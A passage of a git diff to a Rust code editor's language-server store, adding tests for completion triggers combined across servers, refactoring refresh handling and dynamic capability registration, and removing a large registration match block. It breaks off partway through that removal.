+    let triggers = |buffer: &Entity<Buffer>, cx: &mut TestAppContext| {
+        buffer.read_with(cx, |buffer, _| buffer.completion_triggers().clone())
+    };
+
+    buffer.update(cx, |buffer, cx| {
+        buffer.set_completion_triggers(server_a, BTreeSet::from_iter([".".to_string()]), cx);
+        buffer.set_completion_triggers(server_b, BTreeSet::from_iter([":".to_string()]), cx);
+    });
+    let expected = BTreeSet::from_iter([".".to_string(), ":".to_string()]);
+    assert_eq!(
+        triggers(&buffer, cx),
+        expected,
+        "expected triggers from both servers to be combined",
+    );
+    assert_eq!(
+        triggers(&replica, cx),
+        expected,
+        "expected the replica to combine triggers from both servers",
+    );
+
+    buffer.update(cx, |buffer, cx| {
+        buffer.set_completion_triggers(server_a, BTreeSet::from_iter([",".to_string()]), cx);
+    });
+    let expected = BTreeSet::from_iter([",".to_string(), ":".to_string()]);
+    assert_eq!(
+        triggers(&buffer, cx),
+        expected,
+        "expected replaced triggers to not linger in the combined set",
+    );
+    assert_eq!(
+        triggers(&replica, cx),
+        expected,
+        "expected the replica to not keep replaced triggers in the combined set",
+    );
+
+    buffer.update(cx, |buffer, cx| {
+        buffer.set_completion_triggers(server_a, BTreeSet::new(), cx);
+    });
+    let expected = BTreeSet::from_iter([":".to_string()]);
+    assert_eq!(
+        triggers(&buffer, cx),
+        expected,
+        "expected the other server's triggers to survive clearing one server's triggers",
+    );
+    assert_eq!(
+        triggers(&replica, cx),
+        expected,
+        "expected the replica to keep the other server's triggers",
+    );
+
+    buffer.update(cx, |buffer, cx| {
+        buffer.set_completion_triggers(server_b, BTreeSet::new(), cx);
+    });
+    assert_eq!(
+        triggers(&buffer, cx),
+        BTreeSet::new(),
+        "expected no triggers after clearing all servers",
+    );
+    assert_eq!(
+        triggers(&replica, cx),
+        BTreeSet::new(),
+        "expected no triggers on the replica after clearing all servers",
+    );
+}
+
 // Assert that the enclosing bracket ranges around the selection match the pairs indicated by the marked text in `range_markers`
 #[track_caller]
 fn assert_bracket_pairs(
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 5b911dc3c734ad..f61ddbf7ad51e6 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -14,6 +14,7 @@ pub mod code_lens;
 mod document_colors;
 mod document_links;
 mod document_symbols;
+mod dynamic_registration;
 mod folding_ranges;
 mod inlay_hints;
 pub mod json_language_server_ext;
@@ -27,6 +28,7 @@ use self::code_lens::CodeLensData;
 use self::document_colors::DocumentColorData;
 use self::document_links::DocumentLinksData;
 use self::document_symbols::DocumentSymbolsData;
+use self::dynamic_registration::{DynamicRegistrations, RegistrationSource};
 use self::inlay_hints::BufferInlayHints;
 use crate::{
     CodeAction, Completion, CompletionDisplayOptions, CompletionResponse, CompletionSource,
@@ -92,14 +94,14 @@ use language::{
     row_chunk::RowChunk,
 };
 use lsp::{
-    AdapterServerCapabilities, CodeActionKind, CompletionContext, CompletionOptions,
-    DEFAULT_LSP_REQUEST_TIMEOUT, DiagnosticServerCapabilities, DiagnosticSeverity, DiagnosticTag,
+    AdapterServerCapabilities, CodeActionKind, CompletionContext, DEFAULT_LSP_REQUEST_TIMEOUT,
+    DiagnosticServerCapabilities, DiagnosticSeverity, DiagnosticTag,
     DidChangeWatchedFilesRegistrationOptions, Edit, FileOperationFilter, FileOperationPatternKind,
     FileOperationRegistrationOptions, FileRename, FileSystemWatcher, LanguageServer,
     LanguageServerBinary, LanguageServerBinaryOptions, LanguageServerId, LanguageServerName,
     LanguageServerSelector, LspRequestFuture, MessageActionItem, MessageType, OneOf,
-    RenameFilesParams, TextDocumentSyncSaveOptions, TextEdit, Uri, WillRenameFiles,
-    WorkDoneProgressCancelParams, notification::DidRenameFiles,
+    RenameFilesParams, TextEdit, Uri, WillRenameFiles, WorkDoneProgressCancelParams,
+    notification::DidRenameFiles,
 };
 use node_runtime::read_package_installed_version;
 use parking_lot::Mutex;
@@ -160,7 +162,7 @@ pub use prettier::FORMAT_SUFFIX as TEST_PRETTIER_FORMAT_SUFFIX;
 #[cfg(any(test, feature = "test-support"))]
 pub use prettier::RANGE_FORMAT_SUFFIX as TEST_PRETTIER_RANGE_FORMAT_SUFFIX;
 pub use semantic_tokens::{
-    BufferSemanticToken, BufferSemanticTokens, RefreshForServer, SemanticTokenStylizer, TokenType,
+    BufferSemanticToken, BufferSemanticTokens, SemanticTokenStylizer, TokenType,
 };
 
 pub use worktree::{
@@ -174,6 +176,14 @@ const WORKSPACE_DIAGNOSTICS_TOKEN_START: &str = "id:";
 const SERVER_DOWNLOAD_TIMEOUT: Duration = Duration::from_secs(10);
 static NEXT_PROMPT_REQUEST_ID: AtomicUsize = AtomicUsize::new(0);
 
+/// Refresh messages carry a monotonic id for backwards compatibility only: older peers
+/// use it to order refreshes, while current ones re-mark pending refreshes on arrival.
+/// The envelope's own message id cannot be used, as old peers compare the payload field.
+fn next_wire_refresh_request_id() -> u64 {
+    static NEXT_WIRE_REFRESH_REQUEST_ID: AtomicUsize = AtomicUsize::new(1);
+    NEXT_WIRE_REFRESH_REQUEST_ID.fetch_add(1, atomic::Ordering::Relaxed) as u64
+}
+
 #[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Hash, Serialize)]
 pub enum ProgressToken {
     Number(i32),
@@ -286,12 +296,6 @@ pub struct DocumentDiagnostics {
     version: Option<i32>,
 }
 
-#[derive(Default, Debug)]
-struct DynamicRegistrations {
-    did_change_watched_files: HashSet<String>,
-    diagnostics: HashMap<Option<String>, DiagnosticServerCapabilities>,
-}
-
 pub struct LocalLspStore {
     weak: WeakEntity<LspStore>,
     pub worktree_store: Entity<WorktreeStore>,
@@ -1096,32 +1100,13 @@ impl LocalLspStore {
         language_server
             .on_request::<lsp::request::InlayHintRefreshRequest, _, _>({
                 let lsp_store = lsp_store.clone();
-                let request_id = Arc::new(AtomicUsize::new(0));
                 move |(), cx| {
                     let lsp_store = lsp_store.clone();
-                    let request_id = request_id.clone();
                     let mut cx = cx.clone();
                     async move {
-                        lsp_store
-                            .update(&mut cx, |lsp_store, cx| {
-                                let request_id =
-                                    Some(request_id.fetch_add(1, atomic::Ordering::AcqRel));
-                                cx.emit(LspStoreEvent::RefreshInlayHints {
-                                    server_id,
-                                    request_id,
-                                });
-                                lsp_store
-                                    .downstream_client
-                                    .as_ref()
-                                    .map(|(client, project_id)| {
-                                        client.send(proto::RefreshInlayHints {
-                                            project_id: *project_id,
-                                            server_id: server_id.to_proto(),
-                                            request_id: request_id.map(|id| id as u64),
-                                        })
-                                    })
-                            })?
-                            .transpose()?;
+                        lsp_store.update(&mut cx, |lsp_store, cx| {
+                            lsp_store.refresh_inlay_hints(server_id, cx);
+                        })?;
                         Ok(())
                     }
                 }
@@ -1133,7 +1118,7 @@ impl LocalLspStore {
                 let lsp_store = lsp_store.clone();
                 move |(), cx| {
                     let result = lsp_store.update(cx, |lsp_store, cx| {
-                        lsp_store.refresh_code_lens(cx);
+                        lsp_store.refresh_code_lens(Some(server_id), cx);
                     });
                     async move { result }
                 }
@@ -1143,16 +1128,12 @@ impl LocalLspStore {
         language_server
             .on_request::<lsp::request::SemanticTokensRefresh, _, _>({
                 let lsp_store = lsp_store.clone();
-                let request_id = Arc::new(AtomicUsize::new(0));
                 move |(), cx| {
                     let lsp_store = lsp_store.clone();
-                    let request_id = request_id.clone();
                     let mut cx = cx.clone();
                     async move {
                         lsp_store.update(&mut cx, |lsp_store, cx| {
-                            let request_id =
-                                Some(request_id.fetch_add(1, atomic::Ordering::AcqRel));
-                            lsp_store.refresh_semantic_tokens(server_id, request_id, cx);
+                            lsp_store.refresh_semantic_tokens(server_id, cx);
                         })?;
                         Ok(())
                     }
@@ -4086,6 +4067,97 @@ impl LocalLspStore {
     }
 }
 
+/// Prunes per-server cached LSP data of servers no longer relevant for the buffer, and
+/// returns the relevant servers that were not fetched for yet.
+/// `None` means the cache covers all relevant servers and can be returned as is.
+///
+/// `fetched_servers` tracks the servers a completed fetch has queried, not the ones that
+/// answered: a server that returned no data (not capable, errored, or not known to the
+/// queried remote host) would otherwise be considered perpetually missing and every call
+/// would re-fetch.
+///
+/// An empty `current_servers` set does not prune: on remote clients it may mean the
+/// language server statuses have not synced yet, while data of genuinely removed servers
+/// is cleaned up via the `remove_server_data` methods.
+fn missing_servers_to_query<T>(
+    cached: &mut HashMap<LanguageServerId, T>,
+    fetched_servers: &mut HashSet<LanguageServerId>,
+    current_servers: &HashSet<LanguageServerId>,
+) -> Option<HashSet<LanguageServerId>> {
+    if current_servers.is_empty() {
+        return None;
+    }
+    cached.retain(|server_id, _| current_servers.contains(server_id));
+    fetched_servers.retain(|server_id| current_servers.contains(server_id));
+    let missing_servers = current_servers
+        .difference(fetched_servers)
+        .copied()
+        .collect::<HashSet<_>>();
+    if missing_servers.is_empty() {
+        None
+    } else {
+        Some(missing_servers)
+    }
+}
+
+/// The [`proto::LspQuery`] envelope can filter the query by at most one server.
+/// Evictions are per-server, so a missing set larger than one is rare: fall back to an
+/// unfiltered query then, which is correct as the extra results merely refresh the
+/// non-missing servers' cache entries.
+fn upstream_lsp_query_server_filter(
+    for_servers: Option<&HashSet<LanguageServerId>>,
+) -> Option<u64> {
+    let servers = for_servers?;
+    if servers.len() == 1 {
+        servers.iter().next().map(|server_id| server_id.to_proto())
+    } else {
+        None
+    }
+}
+
+fn next_lsp_fetch_id() -> u64 {
+    static NEXT_LSP_FETCH_ID: AtomicUsize = AtomicUsize::new(1);
+    NEXT_LSP_FETCH_ID.fetch_add(1, atomic::Ordering::Relaxed) as u64
+}
+
+#[derive(Debug)]
+struct RunningFetch<T> {
+    id: u64,
+    version: Global,
+    servers: HashSet<LanguageServerId>,
+    task: T,
+}
+
+impl<T> RunningFetch<T> {
+    /// Unregisters the completed fetch and reports whether its results are still
+    /// relevant: an eviction, a buffer version reset, or a superseding fetch (whose
+    /// server set covers this one's) all clear or replace the registration, in which
+    /// case the results must be discarded.
+    fn take_finished(update: &mut Option<Self>, fetch_id: u64) -> bool {
+        if update
+            .as_ref()
+            .is_some_and(|running| running.id == fetch_id)
+        {
+            *update = None;
+            true
+        } else {
+            false
+        }
+    }
+
+    /// Unregisters a fetch that has queried the given server, so that, when the server
+    /// is removed, a still-running fetch cannot re-insert the removed server's data
+    /// after its cache entries were cleaned up.
+    fn discard_if_queried(update: &mut Option<Self>, server_id: LanguageServerId) {
+        if update
+            .as_ref()
+            .is_some_and(|running| running.servers.contains(&server_id))
+        {
+            *update = None;
+        }
+    }
+}
+
 fn notify_server_capabilities_updated(server: &LanguageServer, cx: &mut Context<LspStore>) {
     if let Some(capabilities) = serde_json::to_string(&server.capabilities()).ok() {
         cx.emit(LspStoreEvent::LanguageServerUpdate {
@@ -4212,7 +4284,7 @@ impl BufferLspData {
         }
 
         if let Some(folding_ranges) = &mut self.folding_ranges {
-            folding_ranges.ranges.remove(&for_server);
+            folding_ranges.remove_server_data(for_server);
         }
 
         if let Some(document_links) = &mut self.document_links {
@@ -4224,6 +4296,14 @@ impl BufferLspData {
         }
     }
 
+    fn reset_for_newer_buffer_version(&mut self, buffer: &Entity<Buffer>, cx: &mut App) {
+        // To send delta requests for semantic tokens, the previous tokens
+        // need to be kept between buffer changes.
+        let semantic_tokens = self.semantic_tokens.take();
+        *self = Self::new(buffer, cx);
+        self.semantic_tokens = semantic_tokens;
+    }
+
     #[cfg(any(test, feature = "test-support"))]
     pub fn inlay_hints(&self) -> &BufferInlayHints {
         &self.inlay_hints
@@ -4248,13 +4328,25 @@ pub enum LspStoreEvent {
     Notification(String),
     RefreshInlayHints {
         server_id: LanguageServerId,
-        request_id: Option<usize>,
     },
     RefreshSemanticTokens {
         server_id: LanguageServerId,
-        request_id: Option<usize>,
     },
-    RefreshCodeLens,
+    RefreshCodeLens {
+        server_id: Option<LanguageServerId>,
+    },
+    RefreshDocumentColors {
+        server_id: Option<LanguageServerId>,
+    },
+    RefreshDocumentLinks {
+        server_id: Option<LanguageServerId>,
+    },
+    RefreshFoldingRanges {
+        server_id: Option<LanguageServerId>,
+    },
+    RefreshDocumentSymbols {
+        server_id: Option<LanguageServerId>,
+    },
     DiagnosticsUpdated {
         server_id: LanguageServerId,
         paths: Vec<ProjectPath>,
@@ -4350,6 +4442,10 @@ impl LspStore {
         client.add_entity_request_handler(Self::handle_refresh_inlay_hints);
         client.add_entity_request_handler(Self::handle_refresh_semantic_tokens);
         client.add_entity_request_handler(Self::handle_refresh_code_lens);
+        client.add_entity_request_handler(Self::handle_refresh_document_colors);
+        client.add_entity_request_handler(Self::handle_refresh_document_links);
+        client.add_entity_request_handler(Self::handle_refresh_folding_ranges);
+        client.add_entity_request_handler(Self::handle_refresh_document_symbols);
         client.add_entity_request_handler(Self::handle_on_type_formatting);
         client.add_entity_request_handler(Self::handle_apply_additional_edits_for_completion);
         client.add_entity_request_handler(Self::handle_register_buffer_with_language_servers);
@@ -5251,7 +5347,7 @@ impl LspStore {
         &self,
         buffer: &Entity<Buffer>,
         cx: &App,
-    ) -> Vec<LanguageServerId> {
+    ) -> HashSet<LanguageServerId> {
         let buffer_id = buffer.read(cx).remote_id();
         if let Some(local) = self.as_local() {
             return local
@@ -5264,7 +5360,7 @@ impl LspStore {
         }
 
         let Some(language) = buffer.read(cx).language().cloned() else {
-            return Vec::default();
+            return HashSet::default();
         };
         let registered_language_servers = self
             .languages
@@ -7508,7 +7604,13 @@ impl LspStore {
                             .language_server_dynamic_registrations
                             .get(&server_id)
                             .into_iter()
-                            .flat_map(|registrations| registrations.diagnostics.clone())
+                            .flat_map(|registrations| &registrations.diagnostics)
+                            .map(|(source, dynamic_caps)| {
+                                (
+                                    source.registration_id().map(str::to_string),
+                                    dynamic_caps.clone(),
+                                )
+                            })
                             .collect::<Vec<_>>();
                         Some(
                             providers_with_identifiers
@@ -7593,15 +7695,10 @@ impl LspStore {
         let lsp_data = self.latest_lsp_data(&buffer, cx);
         let query_version = lsp_data.buffer_version.clone();
         let mut lsp_refresh_requested = false;
-        let for_server = if let InvalidationStrategy::RefreshRequested {
-            server_id,
-            request_id,
-        } = invalidate
-        {
-            let invalidated = lsp_data
+        let for_server = if let InvalidationStrategy::RefreshRequested { server_id } = invalidate {
+            lsp_refresh_requested = lsp_data
                 .inlay_hints
-                .invalidate_for_server_refresh(server_id, request_id);
-            lsp_refresh_requested = invalidated;
+                .invalidate_for_server_refresh(server_id);
             Some(server_id)
         } else {
             None
@@ -7917,8 +8014,9 @@ impl LspStore {
         else {
             return false;
         };
-        let registration_key = registration_id.as_ref().map(|s| s.to_string());
-        registrations.diagnostics.contains_key(&registration_key)
+        registrations.diagnostics.iter().any(|(source, _)| {
+            source.registration_id() == registration_id.as_ref().map(|id| id.as_ref())
+        })
     }
 
     pub fn pull_diagnostics_for_buffer(
@@ -9395,6 +9493,23 @@ impl LspStore {
         request: R,
         cx: &mut Context<Self>,
     ) -> Task<Vec<(LanguageServerId, R::Response)>>
+    where
+        P: ToOffset,
+        R: LspCommand + Clone,
+        <R::LspRequest as lsp::request::Request>::Result: Send,
+        <R::LspRequest as lsp::request::Request>::Params: Send,
+    {
+        self.request_filtered_lsp_locally(buffer, position, request, None, cx)
+    }
+
+    fn request_filtered_lsp_locally<P, R>(
+        &mut self,
+        buffer: &Entity<Buffer>,
+        position: Option<P>,
+        request: R,
+        only_servers: Option<&HashSet<LanguageServerId>>,
+        cx: &mut Context<Self>,
+    ) -> Task<Vec<(LanguageServerId, R::Response)>>
     where
         P: ToOffset,
         R: LspCommand + Clone,
@@ -9418,6 +9533,9 @@ impl LspStore {
                         .unwrap_or(true)
                 })
                 .map(|(_, server)| server.server_id())
+                .filter(|server_id| {
+                    only_servers.is_none_or(|only_servers| only_servers.contains(server_id))
+                })
                 .filter(|server_id| {
                     self.as_local().is_none_or(|local| {
                         local
@@ -10847,13 +10965,12 @@ impl LspStore {
         cx: &mut Context<Self>,
     ) {
         if let Some(status) = self.language_server_statuses.get_mut(&language_server_id) {
-            if let Some(work) = status.pending_work.remove(&token)
-                && !work.is_disk_based_diagnostics_progress
-            {
-                cx.emit(LspStoreEvent::RefreshInlayHints {
-                    server_id: language_server_id,
-                    request_id: None,
-                });
+            let refresh_inlay_hints = status
+                .pending_work
+                .remove(&token)
+                .is_some_and(|work| !work.is_disk_based_diagnostics_progress);
+            if refresh_inlay_hints {
+                self.refresh_inlay_hints_on_work_end(language_server_id, cx);
             }
             cx.notify();
         }
@@ -11615,6 +11732,12 @@ impl LspStore {
             });
         }
         local.language_server_watched_paths.remove(&server_id);
+        local
+            .language_server_paths_watched_for_rename
+            .remove(&server_id);
+        local
+            .language_server_dynamic_registrations
+            .remove(&server_id);
 
         let server_state = local.language_servers.remove(&server_id);
         self.cleanup_lsp_data(server_id);
@@ -12138,13 +12261,17 @@ impl LspStore {
             .capabilities()
             .diagnostic_provider
             .and_then(|provider| {
-                local
+                let diagnostics = &mut local
                     .language_server_dynamic_registrations
                     .entry(server_id)
                     .or_default()
-                    .diagnostics
-                    .entry(None)
-                    .or_insert(provider.clone());
+                    .diagnostics;
+                if !diagnostics
+                    .iter()
+                    .any(|(source, _)| source.registration_id().is_none())
+                {
+                    diagnostics.push((RegistrationSource::Static, provider.clone()));
+                }
                 let workspace_refresher =
                     lsp_workspace_diagnostics_refresh(None, provider, language_server.clone(), cx)?;
 
@@ -13128,594 +13255,6 @@ impl LspStore {
         }
     }
 
-    fn register_server_capabilities(
-        &mut self,
-        server_id: LanguageServerId,
-        params: lsp::RegistrationParams,
-        cx: &mut Context<Self>,
-    ) -> anyhow::Result<()> {
-        let server = self
-            .language_server_for_id(server_id)
-            .with_context(|| format!("no server {server_id} found"))?;
-        for reg in params.registrations {
-            match reg.method.as_str() {
-                "workspace/didChangeWatchedFiles" => {
-                    if let Some(options) = reg.register_options {
-                        let notify = if let Some(local_lsp_store) = self.as_local_mut() {
-                            let caps = serde_json::from_value(options)?;
-                            local_lsp_store
-                                .on_lsp_did_change_watched_files(server_id, &reg.id, caps, cx);
-                            true
-                        } else {
-                            false
-                        };
-                        if notify {
-                            notify_server_capabilities_updated(&server, cx);
-                        }
-                    }
-                }
-                "workspace/didChangeConfiguration" => {
-                    // Ignore payload since we notify clients of setting changes unconditionally, relying on them pulling the latest settings.
-                }
-                "workspace/didChangeWorkspaceFolders" => {
-                    // In this case register options is an empty object, we can ignore it
-                    let caps = lsp::WorkspaceFoldersServerCapabilities {
-                        supported: Some(true),
-                        change_notifications: Some(OneOf::Right(reg.id)),
-                    };
-                    server.update_capabilities(|capabilities| {
-                        capabilities
-                            .workspace
-                            .get_or_insert_default()
-                            .workspace_folders = Some(caps);
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "workspace/symbol" => {
-                    let options = parse_register_capabilities(reg)?;
-                    server.update_capabilities(|capabilities| {
-                        capabilities.workspace_symbol_provider = Some(options);
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "workspace/fileOperations" => {
-                    if let Some(options) = reg.register_options {
-                        let caps = serde_json::from_value(options)?;
-                        server.update_capabilities(|capabilities| {
-                            capabilities
-                                .workspace
-                                .get_or_insert_default()
-                                .file_operations = Some(caps);
-                        });
-                        notify_server_capabilities_updated(&server, cx);
-                    }
-                }
-                "workspace/executeCommand" => {
-                    if let Some(options) = reg.register_options {
-                        let options = serde_json::from_value(options)?;
-                        server.update_capabilities(|capabilities| {
-                            capabilities.execute_command_provider = Some(options);
-                        });
-                        notify_server_capabilities_updated(&server, cx);
-                    }
-                }
-                "textDocument/rangeFormatting" => {
-                    let options = parse_register_capabilities(reg)?;
-                    server.update_capabilities(|capabilities| {
-                        capabilities.document_range_formatting_provider = Some(options);
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/onTypeFormatting" => {
-                    if let Some(options) = reg
-                        .register_options
-                        .map(serde_json::from_value)
-                        .transpose()?
-                    {
-                        server.update_capabilities(|capabilities| {
-                            capabilities.document_on_type_formatting_provider = Some(options);
-                        });
-                        notify_server_capabilities_updated(&server, cx);
-                    }
-                }
-                "textDocument/formatting" => {
-                    let options = parse_register_capabilities(reg)?;
-                    server.update_capabilities(|capabilities| {
-                        capabilities.document_formatting_provider = Some(options);
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/rename" => {
-                    let options = parse_register_capabilities(reg)?;
-                    server.update_capabilities(|capabilities| {
-                        capabilities.rename_provider = Some(options);
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/inlayHint" => {
-                    let options = parse_register_capabilities(reg)?;
-                    server.update_capabilities(|capabilities| {
-                        capabilities.inlay_hint_provider = Some(options);
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/documentSymbol" => {
-                    let options = parse_register_capabilities(reg)?;
-                    server.update_capabilities(|capabilities| {
-                        capabilities.document_symbol_provider = Some(options);
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/codeAction" => {
-                    let options = parse_register_capabilities(reg)?;
-                    let provider = match options {
-                        OneOf::Left(value) => lsp::CodeActionProviderCapability::Simple(value),
-                        OneOf::Right(caps) => caps,
-                    };
-                    server.update_capabilities(|capabilities| {
-                        capabilities.code_action_provider = Some(provider);
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/definition" => {
-                    let options = parse_register_capabilities(reg)?;
-                    server.update_capabilities(|capabilities| {
-                        capabilities.definition_provider = Some(options);
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/completion" => {
-                    if let Some(caps) = reg
-                        .register_options
-                        .map(serde_json::from_value::<CompletionOptions>)
-                        .transpose()?
-                    {
-                        server.update_capabilities(|capabilities| {
-                            capabilities.completion_provider = Some(caps.clone());
-                        });
-
-                        if let Some(local) = self.as_local() {
-                            let mut buffers_with_language_server = Vec::new();
-                            for handle in self.buffer_store.read(cx).buffers() {
-                                let buffer_id = handle.read(cx).remote_id();
-                                if local
-                                    .buffers_opened_in_servers
-                                    .get(&buffer_id)
-                                    .filter(|s| s.contains(&server_id))
-                                    .is_some()
-                                {
-                                    buffers_with_language_server.push(handle);
-                                }
-                            }
-                            let triggers = caps
-                                .trigger_characters
-                                .unwrap_or_default()
-                                .into_iter()
-                                .collect::<BTreeSet<_>>();
-                            for handle in buffers_with_language_server {
-                                let triggers = triggers.clone();
-                                let _ = handle.update(cx, move |buffer, cx| {
-                                    buffer.set_completion_triggers(server_id, triggers, cx);
-                                });
-                            }
-                        }
-                        notify_server_capabilities_updated(&server, cx);
-                    }
-                }
-                "textDocument/hover" => {
-                    let options = parse_register_capabilities(reg)?;
-                    let provider = match options {
-                        OneOf::Left(value) => lsp::HoverProviderCapability::Simple(value),
-                        OneOf::Right(caps) => caps,
-                    };
-                    server.update_capabilities(|capabilities| {
-                        capabilities.hover_provider = Some(provider);
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/signatureHelp" => {
-                    if let Some(caps) = reg
-                        .register_options
-                        .map(serde_json::from_value)
-                        .transpose()?
-                    {
-                        server.update_capabilities(|capabilities| {
-                            capabilities.signature_help_provider = Some(caps);
-                        });
-                        notify_server_capabilities_updated(&server, cx);
-                    }
-                }
-                "textDocument/didChange" => {
-                    if let Some(sync_kind) = reg
-                        .register_options
-                        .and_then(|opts| opts.get("syncKind").cloned())
-                        .map(serde_json::from_value::<lsp::TextDocumentSyncKind>)
-                        .transpose()?
-                    {
-                        server.update_capabilities(|capabilities| {
-                            let mut sync_options =
-                                Self::take_text_document_sync_options(capabilities);
-                            sync_options.change = Some(sync_kind);
-                            capabilities.text_document_sync =
-                                Some(lsp::TextDocumentSyncCapability::Options(sync_options));
-                        });
-                        notify_server_capabilities_updated(&server, cx);
-                    }
-                }
-                "textDocument/didSave" => {
-                    if let Some(include_text) = reg
-                        .register_options
-                        .map(|opts| {
-                            let transpose = opts
-                                .get("includeText")
-                                .cloned()
-                                .map(serde_json::from_value::<Option<bool>>)
-                                .transpose();
-                            match transpose {
-                                Ok(value) => Ok(value.flatten()),
-                                Err(e) => Err(e),
-                            }
-                        })
-                        .transpose()?
-                    {
-                        server.update_capabilities(|capabilities| {
-                            let mut sync_options =
-                                Self::take_text_document_sync_options(capabilities);
-                            sync_options.save =
-                                Some(TextDocumentSyncSaveOptions::SaveOptions(lsp::SaveOptions {
-                                    include_text,
-                                }));
-                            capabilities.text_document_sync =
-                                Some(lsp::TextDocumentSyncCapability::Options(sync_options));
-                        });
-                        notify_server_capabilities_updated(&server, cx);
-                    }
-                }
-                "textDocument/codeLens" => {
-                    if let Some(caps) = reg
-                        .register_options
-                        .map(serde_json::from_value)
-                        .transpose()?
-                    {
-                        server.update_capabilities(|capabilities| {
-                            capabilities.code_lens_provider = Some(caps);
-                        });
-                        notify_server_capabilities_updated(&server, cx);
-                        self.refresh_code_lens(cx);
-                    }
-                }
-                "textDocument/diagnostic" => {
-                    if let Some(caps) = reg
-                        .register_options
-                        .map(serde_json::from_value::<DiagnosticServerCapabilities>)
-                        .transpose()?
-                    {
-                        let local = self
-                            .as_local_mut()
-                            .context("Expected LSP Store to be local")?;
-                        let state = local
-                            .language_servers
-                            .get_mut(&server_id)
-                            .context("Could not obtain Language Servers state")?;
-                        local
-                            .language_server_dynamic_registrations
-                            .entry(server_id)
-                            .or_default()
-                            .diagnostics
-                            .insert(Some(reg.id.clone()), caps.clone());
-
-                        let supports_workspace_diagnostics =
-                            |capabilities: &DiagnosticServerCapabilities| match capabilities {
-                                DiagnosticServerCapabilities::Options(diagnostic_options) => {
-                                    diagnostic_options.workspace_diagnostics
-                                }
-                                DiagnosticServerCapabilities::RegistrationOptions(
-                                    diagnostic_registration_options,
-                                ) => {
-                                    diagnostic_registration_options
-                                        .diagnostic_options
-                                        .workspace_diagnostics
-                                }
-                            };
-
-                        if supports_workspace_diagnostics(&caps) {
-                            if let LanguageServerState::Running {
-                                workspace_diagnostics_refresh_tasks,
-                                ..
-                            } = state
-                                && let Some(task) = lsp_workspace_diagnostics_refresh(
-                                    Some(reg.id.clone()),
-                                    caps.clone(),
-                                    server.clone(),
-                                    cx,
-                                )
-                            {
-                                workspace_diagnostics_refresh_tasks.insert(Some(reg.id), task);
-                            }
-                        }
-
-                        server.update_capabilities(|capabilities| {
-                            capabilities.diagnostic_provider = Some(caps);
-                        });
-
-                        notify_server_capabilities_updated(&server, cx);
-
-                        let _ = self.pull_document_diagnostics_for_server(server_id, None, cx);
-                    }
-                }
-                "textDocument/documentColor" => {
-                    let options = parse_register_capabilities(reg)?;
-                    let provider = match options {
-                        OneOf::Left(value) => lsp::ColorProviderCapability::Simple(value),
-                        OneOf::Right(caps) => caps,
-                    };
-                    server.update_capabilities(|capabilities| {
-                        capabilities.color_provider = Some(provider);
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/foldingRange" => {
-                    let options = parse_register_capabilities(reg)?;
-                    let provider = match options {
-                        OneOf::Left(value) => lsp::FoldingRangeProviderCapability::Simple(value),
-                        OneOf::Right(caps) => caps,
-                    };
-                    server.update_capabilities(|capabilities| {
-                        capabilities.folding_range_provider = Some(provider);
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/documentLink" => {
-                    if let Some(caps) = reg
-                        .register_options
-                        .map(serde_json::from_value)
-                        .transpose()?
-                    {
-                        server.update_capabilities(|capabilities| {
-                            capabilities.document_link_provider = Some(caps);
-                        });
-                        notify_server_capabilities_updated(&server, cx);
-                    }
-                }
-                "textDocument/semanticTokens" => {
-                    if let Some(caps) = reg
-                        .register_options
-                        .map(serde_json::from_value::<lsp::SemanticTokensRegistrationOptions>)
-                        .transpose()?
-                    {
-                        server.update_capabilities(|capabilities| {
-                            capabilities.semantic_tokens_provider = Some(
-                                lsp::SemanticTokensServerCapabilities::SemanticTokensRegistrationOptions(caps),
-                            );
-                        });
-                        notify_server_capabilities_updated(&server, cx);
-                        // Re-query already-open buffers, which would otherwise keep
-                        // tree-sitter-only highlighting until edited.
-                        self.refresh_semantic_tokens(server_id, None, cx);
-                    }
-                }
-                _ => log::warn!("unhandled capability registration: {reg:?}"),
-            }
-        }
-
-        Ok(())
-    }
-
-    fn unregister_server_capabilities(
-        &mut self,
-        server_id: LanguageServerId,
-        params: lsp::UnregistrationParams,
-        cx: &mut Context<Self>,
-    ) -> anyhow::Result<()> {
-        let server = self
-            .language_server_for_id(server_id)
-            .with_context(|| format!("no server {server_id} found"))?;
-        for unreg in params.unregisterations.iter() {
-            match unreg.method.as_str() {
-                "workspace/didChangeWatchedFiles" => {
-                    let notify = if let Some(local_lsp_store) = self.as_local_mut() {
-                        local_lsp_store
-                            .on_lsp_unregister_did_change_watched_files(server_id, &unreg.id, cx);
-                        true
-                    } else {
-                        false
-                    };
-                    if notify {
-                        notify_server_capabilities_updated(&server, cx);
-                    }
-                }
-                "workspace/didChangeConfiguration" => {
-                    // Ignore payload since we notify clients of setting changes unconditionally, relying on them pulling the latest settings.
-                }
-                "workspace/didChangeWorkspaceFolders" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities
-                            .workspace
-                            .get_or_insert_with(|| lsp::WorkspaceServerCapabilities {
-                                workspace_folders: None,
-                                file_operations: None,
-                            })
-                            .workspace_folders = None;
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "workspace/symbol" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities.workspace_symbol_provider = None
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "workspace/fileOperations" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities
-                            .workspace
-                            .get_or_insert_with(|| lsp::WorkspaceServerCapabilities {
-                                workspace_folders: None,
-                                file_operations: None,
